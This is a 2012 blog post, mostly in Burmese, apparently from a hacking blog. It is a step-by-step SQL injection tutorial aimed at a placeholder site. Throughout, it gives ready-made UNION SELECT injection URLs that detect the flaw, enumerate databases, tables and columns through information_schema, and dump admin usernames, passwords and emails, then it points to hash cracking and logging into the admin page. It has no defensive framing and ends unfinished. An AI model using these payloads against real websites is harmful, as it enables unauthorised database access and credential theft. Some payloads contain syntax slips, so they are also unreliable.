Thursday, 19 July 2012

SQL Injection : Scanning & Attacking


SQL Injection Tutorial လည္း ျပတ္ေတာင္းျပတ္ေတာင္းျဖစ္ေနတယ္ ၇ နာရီကားမွာ ေၾကာ္ျငာလာတယ္လို႕သာ သေဘာထားလိုက္ေပါ့ဗ်ာ ဟီး ဒီေန႕ေတာ့ Sql Injection ကုိ Vuln Scan ဖတ္တာနဲ႕ Injection ထုိးတာေလးအေၾကာင္းၾကည့္ရေအာင္
SQL Injection Vuln ျဖစ္မျဖစ္ ကို သိဖုိ႕ Error ျဖစ္မျဖစ္ရွာရပါတယ္ ဒါကိုေတာ့ ေတာ္ေတာ္မ်ားမ်ားသိၾကမယ္ထင္ပါတယ္
ဥပမာ www.site.com/index.php?id=1 ဆိုပါစို႕ ဒီတုိင္းဆို တက္တယ္
တကယ္လို႕ www.site.com/index.php?id=’1 ဆိုလို႕ Error တက္လာရင္ Sql Injection Attack လုပ္လုိ႕ရပါတယ္
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘\” at line 1

ပံုကိုၾကည့္လိုက္ရင္ Error တက္ေနတာ ေတြ႕မွာပါ
‘ သံုးျပီး Error တက္မတက္စမ္းတာကို Integer Based လိုေခၚပါတယ္ အျခားေသာ String Based ေတြနဲ႕ စမ္းရင္လည္း ရပါေသးတယ္ ေအာက္မွာ စမ္းလို႕ရမယ့္ Code ေတြကို CEH ကေန ကူးယူတင္ေပးလိုက္ပါတယ္

အိုေခ Scanning ကိစၥ ျပီးရင္ SQL Injection Attack လုပ္ဖို႕စရေအာင္
 
Simple SQL Injection နဲ႕ပတ္သတ္ျပီးေတာ့ ေတာ့ ေရွ႕မွာ ကၽြန္ေတာ္ ေတာ္ေတာ္ေလးေျပာခဲ့ဖူးပါတယ္
Union Select နဲ႕ Error Based Attack ေတြကေတာ့ Attacking လုပ္ပံုေတြကြာသြားတာပါ
Blind SQL Injection ဆိုတာကေတာ့ ပံုမွန္ ကၽြန္ေတာ္တုိ႕ Attack လုပ္ရင္ ေပၚေနၾက Message ေတြကို Web Developer ေတြက မေပၚေအာင္ လုပ္ထားတဲ့အခါ Attack လုပ္တဲ့ Style ပါ သံုးခုလံုးကို ရွင္းသြားပါ့မယ္

 Union Select Injection

Union Select Injection ဆိုတာ Union Select ကိုသံုးျပီး Attack လုပ္တာပါ
Union Select Injection မွာ Step ၉ ခုနဲ႕ Attack လုပ္ရမွာျဖစ္ပါတယ္ ။
1.Finding the number of columns
2.Finding the accessable columns
3.Finding MySQL Version
4.Finding the Database Name
5.Finding Tables in Database
6.Finding Columns
7.Displaying content
8.Cracking the hash
9.Finding Admin Paage
 
1.Finding the Number of Columns
Data Base တစ္ခုမွာ Column ဘယ္ႏွခုရွိတယ္ဆိုတာ သိဖို႕အတြက္ Order by ဆိုတဲ့ Command ကို အသံုးျပဳရပါမယ္ ။ ဒီေတာ့
www.site.com/index.php?id=1 order by 1–
ဆိုျပီး အရင္ Request လုပ္ပါ့မယ္ သေဘာကေတာ့ Column တစ္ခု ဆုိတဲ့သေဘာပါ hiphen (- – ) ရဲ႕ သေဘာကေတာ့Server ကို Command ျဖစ္ေၾကာင္း ေျပာတဲ့သေဘာပါ Column တစ္ခုရွိတဲ့အတြက္ Error မျပပါ . ဆက္ျပီး
www.site.com/index.php?id=1 order by 2–
www.site.com/index.php?id=1 order by 3–
စသျဖင့္ ဆက္တိုက္ Request လုပ္သြားပါ့မယ္ တကယ္လို႕ order by 9– မွာ Error တက္လာတယ္ဆိုပါစို႕ ဒါဆို Columnရွစ္ခုရွိပါတယ္ သေဘာကေတာ့ ရွစ္ခုပဲရွိတာကို ကိုးခုေတာင္းလိုက္တဲ့အတြက္ Error တက္သြားတဲ့သေဘာပါ ။
2.Finding the accessable Column(s)
Column အေရအတြက္ သိသြားျပီဆုိေတာ့ ဘယ္ Column မွာ SQL Command Execute လုပ္ႏုိင္မယ္ဆိုတာ သိဖို႕ လုိလာပါျပီ ။union select ကို သံုးပါ့မယ္
www.site.com/index.php?id=-1 union select 1,2,3,4,5,6,7,8–
Column ရွစ္ခုရွိတဲ့အတြက္ 1 to 8 ထိ ေရးသြားပါတယ္ ။ ဒီေနရာမွာ id=1 ၾကား က – က အေရးၾကီးပါတယ္ ။ ဒါဆို နံပတ္ တစ္ခ်ိဳ႕ ေပၚလာပါလိမ့္မယ္။ ဥပမာ 2 3 ေပါ့ ဒါဆို Column No.2 နဲ႕ 3 မွာ SQL Command ေတြ Execute လုပ္ႏုိင္ပါျပီ 
3.Finding Mysql Version
Command Execute လုပ္ရမယ့္ေနရာသိျပီ MySql Version အလိုက္ Command ေတြကြာေတာ့ Mysql Version က သိဖို႕လိုလာျပီ @@version ဆိုတဲ့ Command ကို သံုးပါ့မယ္ . ။ ဒီ Command ကို ဘယ္ေနရာမွာ Execute လုပ္မလဲ အေပၚကSQL Command Execute လုပ္ခြင့္ရွိတဲ့ Column မွာ Execute လုပ္မွာေပါ့ Column No.2 :-D ဒီေတာ့
www.site.com/index.php?id=-1 union select 1,@version,3,4,5,6,7,8–
ဒီမွာ Mysql Version တက္လာပါမယ္ ဥပမာ 5.1.47-community-log ေပါ့
4.Finding the DataBase Name
Mysql Version 5 အထက္ေတြမွာ DataBase Name ကို သိဖုိ႕အတြက္
group_concat(schema_name),..,from information_schema.schemata--
ဆိုတဲ့ Command ကို သံုးပါတယ္
www.site.com/index.php?id=-1 union select 1,group_concat(schema_name),3,4,5,6,7,8 from information_schema.schemata--
ဆိုရင္ DataBase Name တက္လာပါ့မယ္ ။
DataBase Name က .. hackdb ပဲဆိုပါစို႕ 
concat(database()) ကိုလည္း အသံုးျပဳႏိုင္ပါတယ္ ။
www.site.com/index.php?id=-1 union select 1,concat(database()),3,4,5,6,7,8--
5.Finding the Tables in Database
Table ေတြကို သိဖို႕အတြက္ေတာ့ group_concat(table_name),... FROM information_schema.tables WHERE table_schema=database()-- ကို သံုးပါ့မယ္
www.site.com/index.php?id=-1 union select 1,group_concat(table_name),3,4,5,6,7,8 FROM information_schema.tables WHERE table_schema=database()--
ဒါဆို Tables ေတြတက္လာပါ့မယ္ ။ Table ေတြထဲက admin ဆိုတဲ့ ဟာ ပါလာတယ္ဆိုပါစို႕ ဒီေတာ့ အဲ့ဒီ့ Table ေတြကိုColumn ေတြကို ထပ္ရႏုိင္ဖုိ႕ၾကိဳးစားပါ့မယ္ 
6.Finding the Columns
အေပၚကဟာနဲ႕ သိပ္မကြာပါဘူး group_concat(column_name),...FROM information_schema.columns WHERE table_name=” “ ဆိုကိုသံုးပါ့မယ္။ 
www.site.com/index.php?id=-1 union select 1,group_concat(column_name),3,4,5,6,7,8 FROM information_schema.columns WHERE table_name="admin"
အဲ့ဒီ့မွာ admin Table ထဲက Column ေတြတက္လာပါလိမ့္မယ္  အဲ့ဒီ့ထဲမွာ Admin ေတြ Password Column ေတြ  ပါလာပါလိမ့္မယ္ 
7.Displaying Content
ခုနက Column ေတြထဲမွာ username,password နဲ႕ email ပါလာတယ္ဆုိပါစို႕ ဒါဆို
http://www.site.com/index.php?id=-1 UNION SELECT 1,group_concat(username:password:email),3,4,5,6,7,8 FROM hackdb.admin--
ဆိုျပီး Request လုပ္ပါ့မယ္ hackdb ဆိုတာ ကၽြန္ေတာ္တုိ႕ ေရွ႕က ရွာခဲ့တဲ့ Database Nameပါ  admin ကေတာ့ Table Name ပါ  
8.Cracking Hash
မ်ားေသာအားျဖင့္ Admin Password ေတြဟာ Plain Text မဟုတ္ပါဘူး Hash အေၾကာင္းကိုေတာ့ ဒီလင့္ခ္မွာ
http://ghostarea.net/2012/03/28/type-of-hashes/ 
ကၽြန္ေတာ္ေရးထားတာသြားဖတ္ပါ  Hash ျဖည္ျပီးရင္ Admin page ရွာပါတယ္  
9.Finding Admin page
Admin Page ရွာတာကေတာ့ သိပ္မခက္ပါဘူး ခုနက ရခဲ့တဲ့ user Name နဲ႕ Password ကို ထည့္ျပီး ..
နည္းနည္းရွည္သြားတယ္ထင္တယ္  ဆက္ရန္ေပါ့